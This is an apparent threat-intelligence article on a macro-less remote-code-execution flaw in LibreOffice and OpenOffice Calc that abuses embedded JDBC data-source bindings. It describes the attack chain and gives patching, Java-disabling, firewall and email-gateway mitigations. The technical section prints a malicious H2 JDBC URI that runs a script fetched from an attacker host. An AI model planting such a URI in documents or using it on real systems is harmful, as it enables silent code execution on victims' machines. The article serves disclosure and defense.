Silent Execution: LibreOffice and OpenOffice Flaws Run Remote Code Without Macro Warnings (CVE-2026-63277)

🛡️ Verified Threat IntelDigitalSpying Research Desk
📅 October 6, 2026⏱️ 7 min read

Date: October 6, 2026

Author: Threat Research & Intelligence Team, Digital Spying

Category: Client-Side Security / Office Application Security / Zero-Day Vulnerabilities / Reverse Engineering

Tags: LibreOffice, Apache OpenOffice, Calc, CVE-2026-63277, CVE-2026-59265, Remote Code Execution, Macro Bypass, JDBC, Java Runtime, Phishing

Executive Summary

For decades, the standard defense against malicious office documents has relied on a foundational security boundary: macro execution alerts. Users across enterprise and government environments are trained never to click "Enable Macros" on unsolicited documents. However, on October 5–6, 2026, security researchers demonstrated a complete breakdown of this security assumption with the public disclosure and proof-of-concept release for paired vulnerabilities in the world’s most popular open-source office suites, LibreOffice and Apache OpenOffice.

Tracked as CVE-2026-63277 in LibreOffice Calc and CVE-2026-59265 in Apache OpenOffice Calc, the vulnerability allows an attacker to achieve arbitrary code execution immediately upon a user opening a crafted spreadsheet document (.ods or .xlsx).

As reported by The Hacker News, SecurityOnline, and CyberKendra, the attack executes without displaying any macro warning, modal prompt, or user confirmation. The exploit weaponizes the office suites' built-in Java integration, triggering automatic Java Database Connectivity (JDBC) data-source connections embedded directly within spreadsheet tables.

While The Document Foundation addressed the vulnerability in LibreOffice versions 26.2.5 and 26.8.0 on October 5, Apache OpenOffice remains completely unpatched in its current production release (version 4.1.16), leaving millions of desktop users vulnerable to weaponized spear-phishing campaigns.

Technical Deep-Dive: Deconstructing the Macro-Less JDBC RCE Exploit

To understand how a spreadsheet executes arbitrary code without triggering macro protections, we analyze OpenDocument Spreadsheet (ODS) XML structures, the Java-UNO runtime bridge, and malicious JDBC classloading.

Step

Source / Event

Action & Vector Mechanics

Target / Destination

1

Attacker (Phishing)

Delivers weaponized .ods/.xlsx file containing an embedded table:database-range pointing to a malicious JDBC URI.

Victim Desktop

2

Victim Desktop

User opens document. No macro code is present and NO security warning is displayed.

Calc Application Engine

3

Calc Engine

Parses content.xml / settings.xml and detects external database table bindings.

Data Source Manager

4

Data Source Manager

Evaluates active environment; if Java is enabled, instantiates the Java JDBC driver manager via the Java-UNO subsystem.

Java Runtime (JVM)

5

Java-UNO Subsystem

Initiates outbound connection string: jdbc:h2:mem:;INIT=RUNSCRIPT FROM '...'

Rogue JDBC / Class Server

6

Rogue JDBC Server

Serves malicious compiled Java class / SQL payload response.

Victim JVM Subsystem

7

Victim JVM Subsystem

Arbitrary Code Execution Triggered: Evaluates payload bytecode in memory, spawning shell / malware.

Victim Desktop Operating System

8

Executed Payload

Complete desktop compromise: credential harvesting, persistence installation, and internal network pivoting.

Attacker C2 Infrastructure

1. The Flaw in the Trust Model: Why Macros Did Not Intervene

The primary defense mechanism in modern document processing suites is the macro trust engine:

* Macro Sandbox: In Microsoft Office, LibreOffice, and OpenOffice, scripts written in VBA, StarBasic, Python, or JavaScript are intercepted by a security gatekeeper. If the document originates from an untrusted zone (e.g., email or internet download), macro execution is blocked by default until explicit approval is granted.

* The Blindspot (Data-Sources vs. Code): Spreadsheets frequently connect to external databases (such as SQL servers) to refresh live financial or inventory data. In the OpenDocument specification, external database connections are classified as passive data bindings, not executable code. As a result, the application treats data-source initialization as a benign document rendering task that bypasses macro security controls entirely.

2. The Weaponization Mechanism: Crafting Malicious JDBC Bindings

When a document is opened in LibreOffice Calc or OpenOffice Calc:

* XML Structure: An attacker modifies the internal XML package of an ODS file, specifically injecting a table:database-range element into content.xml configured with an external database connection URL.

* The Java-UNO Bridge: If Java support is enabled within the office suite (which is standard across enterprise deployments to enable database reporting, mail merge, and extensions), the software automatically invokes its internal Java Virtual Machine (JVM) subsystem via the Universal Network Objects (UNO) bridge.

* Malicious JDBC URIs: The attacker configures the connection string using known vulnerable JDBC drivers or generic Java classloading schemes (such as H2, PostgreSQL, or Apache Derby drivers bundled with the runtime or system classpath):

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=0;INIT=RUNSCRIPT FROM 'http://attacker.com/exploit.sql'

* Immediate In-Memory Execution: The moment Calc attempts to establish the data connection to populate the spreadsheet cells, the JVM evaluates the JDBC URI, reaches out to the attacker-controlled server, loads the malicious bytecode, and executes arbitrary system commands with the privileges of the logged-in desktop user.

3. The OpenOffice Dilemma: Asymmetric Remediation Risk

A critical finding in the October disclosure is the disparity in vulnerability remediation between LibreOffice and Apache OpenOffice:

* LibreOffice: The Document Foundation maintains a rapid, modern release cadence. Upon receiving the vulnerability report, engineers quickly introduced strict security checks in the data-source connection manager, blocking automatic execution of unverified external drivers and requiring explicit user authorization. Fixes were published in LibreOffice 26.2.5 and 26.8.0.

* Apache OpenOffice: OpenOffice operates under a significantly slower, legacy maintenance schedule. As of October 6, 2026, version 4.1.16 remains unpatched and directly vulnerable (CVE-2026-59265). With a fix postponed until version 4.1.17, millions of corporate and institutional users who still rely on OpenOffice are completely exposed to public proof-of-concept exploits.

Industry Impact on Phishing and Perimeter Defenses

The emergence of CVE-2026-63277 poses acute challenges for security operations and user awareness programs:

* Evasion of Secure Email Gateways (SEGs): Enterprise email filters actively inspect incoming attachments for VBA macro projects (vbaProject.bin), suspicious OLE streams, or embedded executable binaries. Because a weaponized ODS file contains only valid XML data tables, it cleanly bypasses static email gateway heuristics.

* Defeat of Security Awareness Training: Users who have been rigorously trained to recognize macro warnings will see no alert upon opening the spreadsheet, leading them to believe the document is safe while the payload silently executes in the background.

Defensive Hardening Blueprint & Remediation Strategies

Organizations must enforce immediate mitigations across enterprise endpoints:

1. Update LibreOffice Deployments Immediately

Upgrade all installations of LibreOffice across Windows, macOS, and Linux to:

* LibreOffice 26.2.5 or higher

* LibreOffice 26.8.0 or higher

2. Mandatory Workaround for Apache OpenOffice Users: Disable Java Runtime

Because Apache OpenOffice currently lacks an official security patch, organizations that must continue running OpenOffice must immediately disable the Java runtime environment:

* Via the GUI:

1. Open OpenOffice and navigate to Tools -> Options (or Preferences on macOS).

2. Select OpenOffice -> Java from the left-hand navigation pane.

3. Uncheck the box labeled "Use a Java runtime environment".

4. Click OK and restart the application.

(Note: Disabling Java completely neutralizes the attack vector by preventing the suite from initializing the Java-UNO bridge and executing JDBC drivers).

3. Restrict Outbound Network Access for Office Binaries

Configure host-based firewall rules (via Windows Defender Firewall, iptables, or macOS pf) to prevent office suite binaries from making outbound internet connections:

* Block outbound TCP connections to external IP addresses originating from:

* soffice.bin

* soffice.exe

Enterprise productivity tools should have no legitimate business requirement to initiate direct, arbitrary outbound connections to external IP addresses.

4. Secure Email Gateway (SEG) Attachment Policies

Configure mail security appliances to inspect incoming .ods and .xlsx archives:

* Quarantine or flag incoming spreadsheet attachments from external senders that contain table:database-range definitions or references to jdbc: connection strings within their internal XML streams.

________________

For client-side exploit teardowns, zero-day reverse engineering, and endpoint defense blueprints, subscribe to Digital Spying.

Classification:Cyber Security IntelligenceZero-Day AnalysisDefensive Engineering
🛡️

About the DigitalSpying Research Desk

The DigitalSpying Threat Intelligence Desk is composed of seasoned security researchers, reverse engineers, and blue team architects. Our mission is to publish reproducible, peer-audited threat analyses, hardware security evaluations, and defensive countermeasures.